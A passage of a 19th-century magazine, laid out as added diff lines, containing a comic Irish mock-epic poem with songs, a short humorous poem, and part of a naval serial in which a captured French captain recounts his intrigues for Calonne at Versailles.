+pompous-sounding Roman appellation of _Claudicante_! _Kellio_, too, was
+another "_curiosa felicitas_;" for, while it was in perfect accordance
+with grammatical accuracy, it sounded like an ingenious anagram of
+O'Kelly, an ancient Irish name. But, to the poem itself.
+
+
+INVOCATION.
+
+    INSPIRE me, Phœbus! in the song I sing,
+    And to my aid the nine twin-sisters bring;
+    No common deeds I celebrate or praise--
+    DARBY THE SWIFT is hero of my lays!
+
+    AFTER a hurling-match by Darby won,
+    Although his nose bad suffered in the fun,
+    He, with his rivals, now no longer foes,
+    To the Three Blacks in peaceful triumph goes!
+    _Two blacks_ already had he in the fray,
+    But whereabouts I won't presume to say:
+    'T would spoil the beauty of a hero's mien,
+    Though by the candles' glare they scarce were seen.
+
+      Many were met; of sisters, brothers, cousins,
+    Aunts, uncles, nieces, sweethearts, wives, some dozens.
+
+      First, Widow Higgins, with her daughters three,
+    Bedizen'd out as fine as fine could be,
+    Came on her low-back'd car, with feather-bed,
+    And ornamental quilt upon it spread.
+    She look'd a queen from the luxurious East
+    Reclining on an ottoman:--the beast
+    That drew her, chicks and all, drew seventy stone at least!
+    And he to horse was what to man is monkey,
+    In epics 't would be _bathos_, or I'd call him donkey.
+
+      But (who can read the secret book of Fate?)
+    Just as the party pass'd the inn-yard gate,
+    A startled pig--a young and timorous thing
+    That in a puddle had been weltering--
+    Woke from some rapturous dream, and in its fright
+    Rush'd 'tween the nag's forelegs, who, woful sight!
+    Employ'd his hinder ones so wondrous well,
+    That Widow Higgins, bed, and daughters, fell
+    (Alas, my muse!) into the porker's bath!
+    Oh, day turn'd night! oh, pleasure sour'd to wrath!
+
+      But soon they did recover mirth, and jok'd,
+    For 'twas the feather-bed alone that soak'd
+    The stagnant pool:--no stain's impurity
+    Defil'd their rainbow-riband'd dimity,
+    Save one; and that was on the widow's _crupper_,
+    Who said, "I wish they'd _scald_ that pig for supper!"
+
+      Next came Miss Duff, in a light pea-green plush,
+    That beautifully show'd her blue-red blush.
+    Miss Reeves soon follow'd, spite of summer weather,
+    In pelerine of goose-down, and a feather.
+    The two Miss Gallaghers, the four Miss Bradys,
+    With I know not how many other ladies.
+    Amongst them Nelly Jones, with her first child,
+    That squeak'd and squall'd; then, cock-a-doodle, smiled.
+    Reader! I tell this for your private list'ning,
+    To have the clargy at his feast, a christ'ning
+    Our Darby thought would be a trick with art in
+    To _nail_ the presence of big Father Martin,
+    Who was the _bochel-bhui_ of jolly sinners,
+    At wakes or christ'nings, weddings, deaths, or dinners!
+    Suppose Jack Falstaff had ta'en holy orders,
+    And then I'll say your fancy somewhat borders
+    Upon the plumpy truth of this round priest,
+    Who ne'er refus'd his blessing to a feast.
+
+      One slender damsel, that seem'd not fifteen,
+    With younger brother, in the throng was seen;
+    Shy and confused, as when a violet,
+    Suddenly snatch'd from its dark-green retreat,
+    First meets the gaudy glaring of the day,
+    And seems to close its beauty from the ray
+    Of unaccustom'd light that rudely prys
+    Into its gentle, modest, azure eyes.
+    What led her thither I could never learn.
+    But, hark! who comes? it is Miss Pebby Byrne,
+    All spick and span, to grace our hero's feast;--
+    And last, Miss Reilly, who, tho' last, not least,
+    Contributes by her dress and portly mien
+    To swell the splendour of the joyous scene.
+    Juno herself ne'er walk'd with such an air!
+    A bright-blue band encircled her red hair,
+    Clasp'd on her forehead by a neat shoe-buckle!
+    Her dress was gaudy,--though as coarse as huckle-[24]
+    Back, or the web call'd linsey-woolsey,--flowing
+    In graceful negligence; tho' sometimes showing
+    It had been out for a more sylphid shape,
+    As sundry pins, o'ertir'd, releas'd the cape!
+
+      But now the christ'ning's o'er: of wine and cakes
+    First Father Martin, then each fair, partakes;
+    The youths incline to porter and potcheen.
+    Miss Reilly condescends to be the queen,
+    Presiding o'er the rites of dear bohea,
+    Whose incense in one corner you might see
+    Rising in volumes from four sacred stills,
+    Which, as Miss Reilly empties, Darby fills
+    With boiling fluid from a cauldron spoutless,
+    That had been ages at the Three Blacks, doubtless.
+
+      But now the pipes are smoking both and playing:
+    "Come, boys!" says Father Martin, "no delaying!
+    Let's have a song. Come, you first, Tommy Byrne,
+    And then we'll get a stave all round in turn."
+    Tommy, obedient, put his _dudheen_[25] in
+    His waistcoat pocket, and thus did begin:--
+
+
+_Tune_--"Alley Croker."
+
+                  I.
+
+    Your furreners, that come abroad
+      Into our Irish nation,
+    Expectin' nothin' else but fraud
+      And cut-throat dissertation;
+    What is't they find on landin' first
+      But hundred _millia-falthas_,
+    And kindness that we still have nurs'd?
+      Tho' slav'ry near has spoilth us!
+        Wirra! wirra! wirrasthrue!
+          Wouldn't Erin's glory,
+            With the pen
+            Of clever men,
+          Make a weepin' story?
+
+                  II.
+
+    Says one,--"You lazy pisant! why
+      Parmit that pig so durty
+    To sleep beside you, when a sty
+      He'd find more clane and purty?"--
+    They little know that gratitude
+      To us was early sint, sir!
+    And so we think no place too good
+      For him that pays the rint, sir!
+        Wirra! wirra! wirrasthrue!
+          Wouldn't Erin's glory,
+            With the pen
+            Of clever men,
+          Make a dacent story?
+
+    Here a loud squeak of grunting praise was heard
+    From the new pig-house in the stable-yard:
+    Th' applause awhile the minstrel's music drown'd;     }
+    But soon he did resume, and all around                }
+    Remark'd how much his voice of late improv'd in sound.}
+
+                  III.
+
+    Another says,--"You idle dog,
+      Why do ye lock your door up,
+    And every sason quit your bog
+      To thravel into Europe?"
+    Sure we would gladly stop at home
+      The whole year round, and labour,
+    But for the harvest-pence we roam
+
+    To pick up in the neighbour-
+      Hood of England, wirrasthrue!
+        Wouldn't Erin's glory,
+          With the pen
+          Of clever men,
+        Make a pleasant story?
+
+[I could not help laying the book down at this passage to reflect
+whether the imputation of idleness can be justly thrown upon the Irish.
+Men who year after year toil through the perils and privations of a
+journey into another land for the sake of a few shillings, can scarcely
+be termed lazy; and it is to be regretted that some mode of employment
+at home is not devised by those in whose power it is to meliorate and
+tranquillise their condition.]
+
+                  IV.
+
+    St. Patrick (many days to him!)
+      Thought _he_ kilt all the varmin
+    That through the land did crawl or swim,
+      But he left their cousins-giarmin!
+    He never dreamt of two-legg'd snakes,
+      Or toads that were toad-eathers,
+    Or those _dartlukers_[26] the law makes
+    To hunt our fellow-crathurs!
+            (_Chorus, boys!_)
+      Wirra! wirra! wirrasthrue!
+        Isn't Erin's glory,
+          By sword and pen
+          Of wicked men,
+      Made a dismal story?
+
+      "Success, avourneen!" cried the jolly friar,
+    "An' may yir whistle, _'lanna!_ never tire!
+    Now for a toast, my boys, or sentiment,
+    An' here is one from me with your consent:
+    'A saddle prickly as a porcupine,
+    A pair of breeches like a cobweb fine,
+    High-trottin' horse, and many a mile to go,
+    For him that to ould Ireland proves a foe!'"
+
+      Miss Biddy Reilly was the siren next
+    Knock'd down for melody: she seem'd perplext,
+    And said: "Upon my conscience--ralely--now--
+    I--Tommy, sing for me--well, anyhow,
+    I've nothin' new to trate ye with--"
+
+                                          "No matther!"
+    (From all parts of the room,) "sing _Stoney Batther_!"
+
+      With that she hem'd to clear her pipe, and through
+    Her bright-red curls her radish fingers drew;
+    Then looking round, and smiling as she look'd,
+    (While many a heart upon her bait she hook'd,)
+    Her ditty once, twice, she commenced too high,--
+    At last she found the key;--then, with a sigh
+    Long-drawn and deep, her quivering voice she woke,
+    Which rose and curl'd--ay, gracefully as smoke
+    Seen at a distance--misty-wreathing--dimly
+    Issuing from some wood-bound cottage _chimley_.
+
+
+            I.
+
+    In Stoney Batther
+      There liv'd a man,
+    By trade a hatther,
+      And a good wan:
+    The best of baver
+      He used to buy;
+
+    Till a deceiver,
+      Passing by,
+    Said,--"For a crown
+      I'll sell ye this."
+    "Come in," says he,
+      "Let's see what 'tis."
+
+            II.
+
+    "The finest skin, sir,
+      You ever saw;
+    Without or in, sir,
+      There's not a flaw!
+    No hat or bonnet
+      You ever made,
+    With gloss upon it
+      Of such a shade!"
+    "Then put it down,"
+      The hatther cried;
+    "And here's yir crown,
+      And thanks beside,"
+
+            III.
+
+    But, oh! what wondher
+      When he did find
+    The wicked plundher
+      The rogue design'd!
+    "My cat is missin',"
+      (Says he,) "black Min,
+    _They_'ve cut yir wizzin,--
+      _I_'ve bought yir skin!
+    Of neighbours' cats,"
+      Then wild he swore,
+    "I'll make my hats
+      For evermore!"
+
+    Miss Biddy Reilly ceased her pensive ditty,
+      And, with a look that made his rivals jealous,
+    She call'd upon our hero, who, quite witty,
+      Express'd a hope they would excuse his bellows,
+    As he had lately caught _cold_ in the water,
+    'Stead of an _eel_ that he was lookin' a'ter!
+    A loud horse-laugh first trumpets Darby's praise.
+    Then thus his low bass voice he high did raise
+
+
+_Tune_--"Young Charly Reilly."
+
+            I.
+
+    Beside a mountin,
+    Where many a fountin,
+    Beyant all countin',
+      Ran swift and clear,
+    A valley flourish'd
+    That Nature nourish'd,
+    For she _dhuc-a-dhurrish'd_[27]
+      Her last drop there!
+    And said, at partin',
+    To Father Martin,
+    "There's more of _art_ in
+      _Some_ spots of earth;
+    But, by this whiskey,
+    That makes me frisky,
+    In Ballanisky
+      _Myself_ had birth?"
+
+            II.
+
+    In this inclosure,
+    With great composure,
+    And hedge of osier,
+      A cabin grew;
+    And, sweeter in it
+    Than any linnet
+    Could sing, or spinnet,
+      A maiden, too!
+    Her time went gaily
+    Both night and daily,
+    Till Rodhrick Haly
+      Pierc'd thro' her heart:
+    Oh! if he'd spoken,
+    Or giv'n one token,
+    Sure 'twouldn't have broken
+      With love's keen dart!
+
+            III.
+
+    She thought his fancy
+    Was bent on Nancy
+    Or Judy Clancy,
+      Two sisthers fair:
+    Though in his bosom,
+    You can't accuse him,
+    But _she_ did strew some
+      Love-nettles there!
+    For all that, never
+    Could he endeavour
+    His lip to sever,
+      And say, "Dear Kate!"
+    The lad was bashful,
+    'Caze not being cashful;
+    But she was rashful,
+      As I'll relate.
+
+            IV.
+
+    One Sunday mornin',
+    All danger scornin',
+    Without a warnin'
+      She left her home;
+    And to a valley
+    She forth did sally
+    That lay in Bally-
+      Hinch-a-dhrome!
+    A while she wandher'd--
+    And then she pondher'd--
+    At last she squandher'd
+      Her _ra_son quite;
+    And in a pool there,
+    Like any fool there,
+    She soon did cool there
+      Her burnin' spite!
+
+    Our hero ceas'd; and from the multitude   }
+    The suck-tongue sounds of pity that ensued}
+    Would warm a stoic in his coldest mood:   }
+
+    Ducks on a pond, when gobblin' up duck-meat,
+    Ne'er smack'd a music half so sadly sweet!
+    Miss Biddy Reilly's long-lash'd eyes of jet
+    Were red (as rivalling her hair) and wet!
+    Some inward feeling caus'd this outward woe;
+    But what it was but love for Darby, I don't know!
+
+      But now _tay-tay_ and coffee-_tay_ are done,
+    And of the night begins the r_a_al fun:
+    The dance is nam'd, and straightway on the floor
+    Two dozen couple start,--I might say more.
+    But Darby interposes, and cries, "Stop!
+    Afore we have a reel let's have a hop:
+    First--boy an' girl; then girl relieve the girl,
+    Next boy the boy, till all round have a whirl!
+    Miss Reilly an' myself will lead the first;--
+    Come, piper! squeeze yir bags until they burst!
+    '_Tatther Jack Welsh_,' or '_Smash the Windows_,' play,
+    '_The wind that shakes the barley_,' '_Flow'rs in May_,'
+    Or any rantin' roarin' lilt ye know:
+    What! '_Ligrum Cuss?_' hurroo! then here we go!"
+
+      "He spake: and, to confirm his words," they all
+    Sate down obedient in the festive hall!
+    None but himself and Biddy upward stood,
+    All eyes were on them of the multitude!
+    But how shall I describe the wondrous pair,
+    _Terpsichore!_ that worshipp'd thee then there?
+    Such grace, such action, on a malt-house floor,
+    Was never seen or heard of, e'en, before!
+    O'Ryan's arms at stiff right angles to
+    His body were, which to the gazer's view
+    Betray'd no motion; while his legs below
+    Seem'd all _St. Vitus'_ nimblest shakes to know!
+    With knees bent inward, heels turn'd out, and toes
+    That seem'd contending like two deadly foes
+    For one small spot of earth, he digg'd the ground,
+    And sent the mortar pulveriz'd around!
+    "Look at his feet!" was the admiring cry;
+    "Hold down the light that we may closely spy:
+    There's double-shuffle for ye! hoo! success!
+    He'd dance upon a penny-piece, or less!"
+
+      Meanwhile, Miss Reilly, with her hands aside,
+    A varied change of steps and movements plied;
+    Now bold advancing in her partner's face,
+    Now shooting by a side-slip to a place
+    The farthest on the floor:--at every turn,
+    As round and graceful as a spinning churn!
+
+      But, ah! not long was she the dance's queen;
+    For young _Kate Duff_, who owed her long a spleen,
+    Swift as the lightning from a cloud of gloom,
+    Shot from a dim-lit corner of the room,
+    And sent the frowning Biddy to her seat,
+    Who mutter'd something that I can't repeat!
+
+      _Long Curly_ next our hero's post relieves,
+    And _Kitty Duff_ gives place to _Nelly Reeves_:
+    _Curly_, the piper's son, _Ned Joyce_, supplants;
+    The blind old father knows his step, and chants
+    The lilt with double force: _Miss Higgins_ next
+    Sets down _Miss Reeves_; _Ned Joyce_ retires, half vext,
+    For _Knock-knee'd Phelim_, who, despite his _pins_,
+    Applause from all for _heel-and-toeing_ wins!
+
+      Thus did they trip it for a goodly hour;
+    When, oh! what charm there is in music's pow'r!
+    Old Joyce the piper seizes a short stay
+    To change his pipes:--and, what's the merry lay
+    They now lilt up?--'_The Priest in his Boots_,' and lo!
+    (Whether 'twas all concerted I don't know,)
+    Fat _Widow Higgins_, 'midst the general shout,
+    By _Father Martin_ is led waddling out!
+
+    Oh! how they tramp'd and stamp'd, and flounc'd and bounc'd!
+      A mercy 'twas they trod on the ground-floor,
+    For through a loft they surely would have pounc'd--
+      As 'twas, the earth was trembling to its core:
+      Sure such _flochoolah_ dancers ne'er were seen before!
+
+FOOTNOTES:
+
+[Footnote 24: The usual spelling of this word is "huckaback;" but I
+suppose Mr. Kelly's excuse would be "_licet facere verba_."]
+
+[Footnote 25: _Dudheen_, short pipe.]
+
+[Footnote 26: _Dartluker_, the Irish name for a peculiar kind of leech
+that preys upon a small fish called _pinkeen_.]
+
+[Footnote 27: _Dhuc-a-Dhurrish_, the drink at the door.]
+
+
+
+
+A FEW ENQUIRIES.
+
+
+    Mortal, in thy brief career,
+    Ranger of this nether sphere,
+    Tell me truly, have thine eyes
+    View'd earth's hidden mysteries?
+    Hast thou seen the dark blue sea,
+    Its bosom heaving tranquilly
+    To the wooing breath of night?
+    Hast thou watch'd the quiv'ring light,
+    Where the silver moonbeams dance,
+    Scattered o'er its broad expanse?
+    Likening the giant deep
+    To a sobbing child asleep,
+    O'er whose cheeks and visage fair
+    Smiles that wait on infant care
+    Chase the tear-drops trickling there?
+    Hast thou ever watch'd that sea
+    Rising in its majesty,
+    When its mighty depths are rent
+    By the rushing element,
+    And its waves exultingly
+    Revel in their liberty?
+    Hast thou ever, pale with doubt,
+    View'd the fatal waterspout,
+    Or the whirlpool's treach'rous wave
+    Luring seamen to their grave?
+    Hast thou climb'd o'er Alpine snows,
+    When the day is at its close,
+    When the storm its fury spends,
+    And the avalanche descends,
+    Hurling a terrific death
+    On the mountaineer beneath?
+    Hast thou on Arabia's soil,
+    Faint with heat, and worn with toil,
+    Bow'd beneath the simoom's blast,
+    Till its deadly breath was past?
+    Hast thou e'er pursued thy way
+    'Neath the red sun's burning ray?
+    And, when hope was almost gone,
+    Has the mirage lured thee on
+    With its waves that ever flee,
+    And but mock thy misery?
+    Hast thou watch'd the torrent's force
+    Dashing onward in its course,
+    Till, in one tremendous leap,
+    Its waters sink into the deep?
+    Hast thou seen the lava glide
+    Down the steep volcano's side?
+    Hast thou seen the misty light
+    Of the comet's erring flight?
+    Or the rainbow's azure span,
+    Or the huge leviathan,
+    Or the meteor in the air,
+    Or the lion in his lair,
+    Or the thousand things that be
+    In the blue depths of the sea?
+
+      Mortal, in thy brief career,
+    Ranger of this nether sphere,
+    Thou that hast a wand'rer been,
+    Tell me truly, hast thou seen
+    Of fire, ocean, earth, and air,
+    Such things--beautiful and rare?
+    If't has been thine to behold
+    Nature's hidden charms unroll'd,
+    All her features to peruse
+    Deck'd in all their varied hues;
+    If so blest thy lot has been,--
+    Why, what a deal you must have seen!
+
+
+
+
+NIGHTS AT SEA;
+
+_Or, Sketches of Naval Life during the War._
+
+BY THE OLD SAILOR.
+
+No. V.
+
+
+THE FRENCH CAPTAIN'S STORY.
+
+                  "But, in these cases,
+    We shall have judgment here; that we but teach
+    Bloody instructions, which, being taught, return
+    To plague the inventor: this even-handed justice
+    Commends the ingredients of our poisoned chalice
+    To our own lips."
+                                     _Macbeth._
+
+We left Lord Eustace Dash in his gallant frigate, with the prize in
+company, running down into the gulf of Genoa, and a strange sail in
+sight. His lordship swept the horizon with his glass till his keen eye
+caught the desired object in the field, and in an instant he was as
+fixed and stationary as a statue. The moon was rising, and her glorious
+light shone upon the distant sails, which looked like a silver speck
+on the dark zone of the horizon. Intense and eager was the gaze of the
+noble captain, and breathless attention pervaded every individual on
+the forecastle; even old Savage, the boatswain, suffered his rattan to
+be motionless, and the tongue of Jack Sheavehole was still. At length
+Lord Eustace raised himself from his recumbent position; every ear was
+awaiting the announcement of the stranger's character; the boatswain
+approached his commander rather nearer than etiquette allowed, so eager
+was he to obtain the information. "Mr. Sinnitt!" said his lordship, and
+old Savage opened his mouth as well as his ears to catch all that would
+be uttered. "Mr. Sinnitt!" repeated his lordship; and, that officer's
+response being heard, the important communication would next be made.
+"Mr. Sinnitt, trim sails in chase," said the captain, and walked aft to
+resume his station near the taffrail.
+
+"Now that's what I calls onprincipled," uttered the boatswain, in a low
+tone, to his mate: "here we are, rambadgering right down somewhere away
+to the back of November, in chase of the Flying Dutchman, I supposes:
+but whether yon's she or not may I be bamfoozled into a kettle-drummer
+if I know, and the skipper arn't never got the politeness to inform us.
+Well, the sarvice is going to----"
+
+"Trim sails!" shouted Mr. Sinnitt, from the quarter-deck; and then
+was heard the twittering of Jack Sheavehole's pipe, and a rattling of
+ropes as the braces were hauled in, the tacks and sheets arranged, till
+every square inch of canvass performed its own especial and proper
+duty. Lord Eustace hailed the Hippolito to continue her course, though
+the Spankaway should do otherwise; and then rejoined Citizen Captain
+Begaud, who still retained his position, apparently abstracted from all
+that was passing around him.
+
+"I have another hour to spare, Monsieur," said his lordship; "your
+star, as you call it, is certainly none of the brightest to-night, and
+I own I am desirous of hearing the finish of your narrative. Will you
+favour me by proceeding?"
+
+"I will, my lord," returned the Frenchman; "and I am the more inclined
+to do so, from a presentiment that hangs over me that my days--ay,
+even my hours--are numbered. How, when, or where the fatal blow may be
+given, or whether by friend or foe, I cannot even conjecture; but still
+I am convinced of the fact, and wish to disburthen my mind before my
+departure."
+
+"Such presentiments are unworthy a brave man," said Lord Eustace. "You
+shall dine with me in Plymouth, Captain Begaud. I fancy you take the
+loss of your frigate too much to heart, though you may be well excused
+doing so. You fought her nobly, and that rascally first-lieutenant of
+yours, merits a hangman's noose, though I have cause to thank him; but,
+there, d--it! a coward is my utter abhorrence. Come, come, Monsieur!
+your nation is not proverbial for despondency. You will marry the
+countess yet,--that is, if she be not already your wife."
+
+A thrilling shudder passed over the Frenchman's frame. "Never, never!"
+exclaimed he, with startling vehemence, as he covered his eyes with
+his hands, as if to shut out some terrific vision. "No, no, my
+lord!--no,--it is past,--it is gone! Ha! ha! ha!--hell itself lends me
+its laugh whenever I think of it!"
+
+There was something so demoniac and unearthly in the agonised chuckle
+of the Frenchman, that Lord Eustace turned a penetrating look upon him,
+as if he actually expected to see the Prince of Evil by his side.
+
+"I had no intention of wounding your feelings, Monsieur, and regret
+that I have done so," said the generous Englishman.
+
+"I know it; I am well aware of it," responded Begaud. "You will
+presently judge for yourself. But, to proceed. After my audience
+with Louis the Sixteenth, the grandson of that wretch whose misdeeds
+laid the foundation of the revolution; who, if he did not sanction,
+at least did nothing to prevent the murder of his own son, together
+with his princess; who broke the heart of his queen, and revelled in
+abomination----What was the Parc aux Cerfs?--I have seen it, Monsieur;
+I know it all!--the receptacle for his victims,--mere children, whom
+he taught to read, and write, and pray;--yet, horrible depravity!
+he made them the companions of his disgusting orgies! Yes; he would
+nightly kneel with them, and afterwards carry round the crucifix that
+they might kiss it; and then selecting----Bah! my soul sickens at
+the thought of such a monster! my heart swells almost to bursting!
+The daughter of Madame T---- had been there! but I have had my full
+revenge! Revenge! revenge on whom? Ay, that's the question; it is a
+hidden mystery! the understanding cannot solve it! the innocent suffer
+for the guilty!
+
+"After leaving the royal presence, fresh apparel was furnished to me,
+a chamber and ante-room were set apart for my use, and, on the morrow,
+I--the sworn enemy to the Bourbons! the outcast, whose parents perished
+in the fête of 1770! the adorer of the young Countess de M----, who but
+a few hours before cherished his affection in despair!--I became an
+_attaché_ to the household of the queen,--though in reality engaged in
+the confidential service of Monsieur Calonne. Thus both were exposed to
+my secret scrutiny; my star was in the ascendant! I felt the importance
+of the part I was called upon to enact; and Fate seemed to be weaving
+for me a web to catch the royal victims in its trammels!" He drew a
+convulsive respiration. "I little thought then, that my own soul would
+be meshed in the snares which were laid for others!
+
+"There was something strange in the unusual reliance which M. Calonne
+placed upon my fidelity. I was to watch the court party, who flattered
+whilst they hated the queen; I was especially instructed to notice
+those who had audience of the king: in fact, I engaged to watch over
+the interests of my employer by every possible means, fully convinced
+that by so doing I should be the better able to promote my own. You
+will say this was a dishonourable occupation, my lord. I grant it; but
+then, you must remember the bias of my mind,--my oath to Madame T----,
+(which I considered religiously binding upon my conscience, though she
+was in all probability numbered with the dead,)--and there was, also,
+the bewitching felicity of being near to the young countess, whom my
+very soul ardently adored.
+
+"The courtiers had raised Calonne from comparative obscurity to the
+high and important office which he held; but this they did to suit
+their own purposes, not to forward his. But the wily minister soon
+ascertained that his position would be scarcely tenable, unless by
+some bold stroke the chances should turn in his favour; or else,
+by rendering the profligacy of the aristocracy so odious to the
+people,--especially the middle classes,--that he might fall back upon
+the latter, and become their leader. Economy had been the object
+of his predecessors, Neckar and Turgot; but Calonne started a new
+theory, which he followed up with avidity,--namely, that profusion
+best contributed to, and formed, the wealth of a state. Paradoxical
+as this most certainly was, the courtiers could not, or would not,
+see through it. They hailed the absurdity with the utmost applause,
+and henceforth extravagant profusion became the order of the day, and
+soon degenerated into the very extremes of profligacy. The aristocracy
+delighted in this, for they bore none of the burthens; and history will
+perhaps record that Calonne acted with self-conceit and ignorance.
+He did no such thing, my lord; he saw that Neckar, by creating
+provincial assemblies, had laid the first stone of a republican form
+of government; that the middle classes, though by far the least in
+numerical strength, had thereby acquired an influence it was impossible
+to control; and therefore, as I said before, he endeavoured to take
+advantage of events as they stood, so as to cajole one party whilst he
+negociated with the other. Loans were raised to meet the expenditure,
+and thus the burthens of the people were increased, the revenue of
+four hundred millions of francs was exceeded by at least one hundred
+and fifty millions. Complaints, though not loud, were deep. La Fayette
+was the leader of the popular cause. He advocated the rights of human
+nature, and he was looked up to, with reverence and esteem. He demanded
+the convocation of a representative assembly, and M. Calonne secretly
+encouraged this demand, that he might be the better enabled to enforce
+his schemes upon the nobility for the payment of the deficit.
+
+"In this emergency, and the more securely to carry out his plans, the
+minister proposed to assemble the chiefs of the privileged orders,--the
+Notables: they met at Versailles; Calonne explained the financial state
+of the nation, declared the amount of his deficit, and suggested
+the necessity of equalising the taxes, and levying them alike on the
+_noblesse_ and the clergy, as well as on the commonalty. Need I say how
+distasteful this was to the individuals he addressed? Need I describe
+their violent opposition to the proposal, and their determination
+to crush the man who had the hardihood to bring it before them? His
+enemies were numerous. The pretended friends, who had elevated him to
+power to suit their own nefarious arrangements, now united with his
+avowed foes; whilst the defalcation brought him into disrepute with
+the middle classes, and every engine was set at work to effect his
+overthrow. The press, the clergy, and the _noblesse_ took the lead; and
+the fate of Calonne seemed to be fully decided upon. But, under a show
+of ostentatious vanity and inflated ambition, the minister concealed
+consummate penetration and skilful tactics. If the Notables had acceded
+to his wishes, his end would be answered, and himself continued in
+power; if they refused, they involved themselves in an odium which
+would have due weight with the adherents of La Fayette, and to them he
+hoped to be enabled to look for support when the court should fail him.
+
+"I have been minute, my lord, in these particulars, that you may the
+better understand what has yet to come, for it was about this time
+that I made my engagement to serve Calonne; and I was not long in
+ascertaining that, though apparently the superficial prodigal, and
+the frivolous man of fashion, there was yet an energetic boldness
+about him that would, if thwarted in his views, urge him to some deed
+of desperation. In most instances he behaved to me with the utmost
+familiarity; but I strongly suspected that, through some secret agency
+of which I was held in ignorance, he kept up a communication with the
+disaffected amongst the middle orders; nor was it long before the
+fact was fully revealed to me, for the individual who had been the
+accustomed means of correspondence was seized with sudden illness, and
+negociations were for a time suspended. It was an anxious and trying
+period for the minister; he stood upon a pinnacle from which a powerful
+party were concentrating all their force to hurl him, whilst the
+illness of the agent had separated him from those who, proud in their
+republicanism, would not of themselves seek him, and yet it was from
+them alone that he now anticipated succour.
+
+"In his extremity Calonne fixed his attention upon me, and openly
+and frankly did he communicate his wishes: his pleasing address and
+fascinating manners were at first, however, vainly brought into play;
+I suffered them to make but little impression on my mind. To quit the
+court,--where I was in great favour with her majesty,--and to leave
+the presence of her whom my soul so ardently worshipped, seemed to be
+a sacrifice of such magnitude, that I felt I had not the resolution
+to make it, and therefore I respectfully declined. 'Such, then, is
+your resolve?' said the minister. I bowed acquiescence. 'I shall not
+ask your reasons,' continued he, with a smile of mingling scorn and
+pride, 'they are well known to me; but it is right that you should
+correctly know the situation in which you are placed. Who has been
+the architect of your present prosperity? Mark, young man! the hand
+that raised the structure can also prostrate it to the dust. I have
+entrusted too much to your keeping, not to make the depository safe. It
+is true, I have found you faithful; but, if it had been otherwise----'
+He paused for a moment, and then rapidly added, 'Young man, there is
+such a place as the Bastille! there is such an instrument of execution
+as the guillotine!' I smiled in defiance, for threats never produced
+any other feeling in me. He observed it, and added, 'It is well your
+personal courage prompts you to surmount all apprehensions of either,
+and induces you to brave the worst; but reflect!' and his keen eye
+was fixed upon me: 'the former would prove a delightful bower for a
+love-sick youth; there you may in heavy fetters deplore the harshness
+of fortune, and curse the hour that saw you recklessly rend asunder
+the rosy bonds of Cupid for the iron safeguards of a stern gailor.'
+He saw he had touched me, though I strove to conceal all emotion;
+and he went on. 'But what will become of the lovely being whom you
+worship? Amidst the gaiety and licentiousness of a court she will soon
+forget the child of fortune--Jacques Begaud! and, though I believe
+she is not altogether insensible to your merits, yet the memory of
+ladies is as evanescent as a flower, it soon fades away; and other
+arms will enfold that loveliness in their embrace! some other head
+will be pillowed on that fair bosom! another----' 'Hold!' exclaimed
+I, affecting an indifference, from a hope that the secret of my
+affection was still secure within my own keeping; 'hold, Monsieur!
+you are coming to conclusions before you are aware that you have the
+slightest ground for them. I am yet free from----' 'It is now my turn
+to cry 'hold!'' said he, interrupting me, and that, too, in a voice
+and manner that betokened his full sense of the advantage he had
+obtained; 'do you imagine, Jacques, that one so well versed in the
+workings of human nature as myself can be easily deceived? Your love
+for the young Countess de M----! Ay, that flush of the cheek becomes
+you! I have seen it before, young man! Those flashing eyes are traitors
+to your confidence! they revealed it to me from the first moment of
+your entering the royal closet! Your wandering in the forest,--the
+eagerness with which you complied with my request to attend me to the
+château,--the delight you manifested when first within the walls of
+the palace,--all these I knew must have some actuating motive; nor
+was I long in discovering it. Subsequent occurrences have confirmed
+my penetration, and----' 'You have not been over-generously employed,
+Monsieur,' said I, somewhat humbled.--'Young man,' 'returned he, 'bear
+witness by your own feelings that self-interest is the governing
+principle of our actions. Circumstanced as I was, I deemed it necessary
+to ensure your services through a more powerful sentiment than mere
+gratitude to Monsieur Calonne, and the sequel shows that I am right.
+I might command,' continued he proudly, 'and fear no denial; but I
+solicit,' he added mildly, and with a smile; 'will you refuse me,
+Jacques?'--'You do me too much honour, Monsieur,' responded I, fully
+aware that further subterfuge would be useless; 'I own I love the
+countess.'--'And what hope have you of making her your own, Jacques
+Begaud?' inquired he eagerly, but in a tone of mournful commiseration.
+'What hope can you have? Etiquette imposes an impassable barrier
+between you; what, then, can break it down?' He paused, and a vague
+sense of his meaning crossed my mind. 'What,' continued he,--'what
+I ask you is to annihilate all obstacles, and unite two hearts that
+fervently affect each other?' I remained silent. 'To show that I trust
+you, Jacques, I will answer my own question. Popular feeling,--the
+popular voice,--La Fayette,--and the representative assembly,--liberty
+and equality! do you understand me now?'--'I do,' returned I; and,
+oh! how often have those very words 'liberty and equality' rung in
+my ears since then! they seemed a prophetic intimation of events
+that afterwards occurred. I own that I was not really inimical to
+his proposal, for my pledge to my injured relative, and my inherent
+detestation of monarchy, still retained a powerful influence over my
+mind; but I wished, by withholding my acquiescence for a time, to
+enhance the value of compliance. How hazardous it is for inexperience
+to endeavour to cope with long-practised subtlety! Monsieur Calonne had
+read my inmost heart, whilst I foolishly imagined it was a sealed book!
+he played a skilful game, and at length, without quitting the court,
+(which soon returned to Versailles,) I became the creature of his will.
+
+"My first attempt at negotiation was to be at the residence of a
+celebrated fortune-teller at Paris,--one who would have been crushed
+by the persecution of the clergy, many of her predictions had been
+so singularly fulfilled that both the ecclesiastical and the civil
+power were afraid to meddle with her; superstitious awe held them in
+abeyance, and she triumphed in despite of both. My embassy was to
+deliver a packet into her hands, and to receive a secret communication
+in reply. I readily found the dwelling, for my directions were too
+clear to be mistaken: it was enclosed within a capacious court-yard,
+the walls of which were old, and in some parts dilapidated, but,
+nevertheless, there was a frowning strength about them that typified
+a stern resistance. The house itself was of ancient structure,
+with small narrow windows, which seemed more like loop-holes to a
+fortification than apertures to admit light and air, but they were
+very numerous; and the exterior masonry had been cut away at an angle
+of full fifty degrees on each side, so as to command a tolerably
+wide range over every part of the court-yard, except that which lay
+immediately beneath. There was not, altogether, an appearance of actual
+poverty in the exterior; but it rather resembled the habitation of an
+ancient family in decay, proud of splendour, yet without the means of
+adequately sustaining it. An aged porter admitted me on my giving a
+required signal; but, though his years appeared to be many, there was a
+piercing keenness in his eyes, at variance with the silvery whiteness
+of his hair. His scrutiny was peculiarly searching, though scarcely
+more than momentary; and, having satisfied himself, he preceded me
+through a long narrow passage, and then up a flight of stairs, to an
+apartment rather meanly furnished, where he demanded my business. I
+requested an interview with _la sorcière_, as it was only with herself
